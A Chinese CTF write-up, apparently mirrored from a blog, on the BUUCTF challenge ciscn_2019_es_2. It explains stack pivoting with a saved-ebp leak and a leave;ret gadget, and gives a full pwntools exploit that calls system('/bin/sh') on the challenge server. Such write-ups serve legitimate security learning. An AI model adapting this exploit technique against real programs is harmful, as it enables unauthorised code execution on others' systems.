当前位置: 首页 > news >正文

【PWN · 栈迁移】[BUUCTF]ciscn_2019_es_2

第一道栈迁移题目,跌跌撞撞理解了


前言

当前溢出可用空间比较少时(极端情况下仅能覆写ebp和ret),可以通过栈迁移的方式,扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋值,所以总是通过两次leave;ret的方式修改esp到固定位置。


一、代码审计

Untitled

Untitled

有两次读入操作。read进的内容超过字符串的长度,存在栈溢出漏洞。然而计算溢出长度,发现只有8字节,即刚好可以覆写ebp和ret。


Untitled

发现system的函数(意味着plt对应的表项存在),然而这个hack函数并不能给出flag。是个tricky。


二、思路与过程

这里采用栈迁移的方式,拓展可构造rop链的空间。

思路是这样的:修改esp为新一处地址→前提需要修改ebp为劫持目标地址(ebp给esp赋值)→这意味着要知道(泄露)栈地址。因此:

具体操作可看这个大神的blog:[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)_buuojpwn栈空间不足_Y-peak的博客-CSDN博客

  1. 泄露ebp(main_ebp)地址 —— 通过第一个read实现
  2. 计算劫持目标地址
  3. 修改ebp为劫持目标地址、修改ret为leave;ret地址 —— 通过第二个read实现


三、EXP 

from pwn import *
from pwn import u32,p32context.log_level='debug'io=process('./pwn')
io=remote('node4.buuoj.cn',26158)
# context.terminal = ['tmux','splitw','-h']
# gdb.attach(proc.pidof(io)[0],gdbscript="b main")elf=ELF('./pwn')
call_system=0x8048559
#这里没用system_plt的地址,而是用了call _system的地址,意味着参数紧跟该地址之后,不需要空四个字节
leave_ret=0x80484b8
#修改ebp以及ret,然而我们要知道具体的ebp的内容的值#①所以第一次read输入是为了泄露ebp
payload=b'a'*0x27+b'b'
io.recvuntil(b'name?\n')
io.send(payload)
# main_ebp=u32(io.recvuntil(b'\xf7')[-4:])
io.recvuntil(b'aaab')
main_ebp=u32(io.recv(4))
print(hex(main_ebp))
io.recv()#②第二次read则是为了在栈上填充信息,修改ebp和ret后esp将迁移
# payload=(b'this'+p32(call_system)+b'that'+b'/bin/sh\x00').ljust(0x28,b'a')  
# 上面的payload用于本地调试时,找到偏移量0x38和0x28
payload=(b'this'+p32(call_system)+p32(main_ebp-0x2c)+b'/bin/sh\x00').ljust(0x28,b'a')
#call _system,参数紧跟其后,无需空开一个字长
payload+=p32(main_ebp-0x38)
payload+=p32(leave_ret)
io.sendline(payload)io.interactive()

总结

接触到高级一些的栈溢出内容,需要多做题予以巩固。

http://www.lryc.cn/news/101803.html

相关文章:

  • 网络编程(13): 网络通信常用命令(后续待补充)
  • flask创建数据库连接池
  • C语言手撕顺序表
  • 常见的排序算法
  • C#如何使用SQLite数据库?
  • 如何将表格中的状态数据转换为Tag标签显示
  • centos中修改防火墙端口开放配置
  • 程序设计 算法基础
  • 【数据结构】之十分好用的“链表”赶紧学起来!(第一部分单向链表)
  • ubuntu开机自启动
  • Git将其他分支合并至主分支
  • Python+request+pytest 接口自动化测试框架入门(与unittest的比较)
  • 数据结构——复杂度
  • 使用goldengate 迁移Oracle到postgresql
  • ESP-C3入门20. CentOS开发环境及Jenkins流水线
  • 服务器被爬虫恶意攻击怎么办?
  • JavaScript正则表达式之座机号/手机号验证校验规则
  • 黑客学习手册(自学网络安全)
  • 获取非叶子节点的grad(retain_grad()、hook)【为了解决grad值是None的问题】
  • JMeter(八):响应断言详解
  • 【网络编程】IO复用的应用一:非阻塞connect
  • Spring注解开发,bean的作用范围及生命周期、Spring注解开发依赖注入
  • C#设计模式之---原型模式
  • STM32入门学习之外部中断
  • Jenkins 配置maven和jdk
  • Leetcode | Binary search | 22. 74. 162. 33. 34. 153.
  • 生命在于折腾——面试问题汇总
  • <Java>Map<String,Object>中解析Object类型数据为数组格式
  • 别再分库分表了,试试TiDB!
  • Java进阶之Dump文件初体验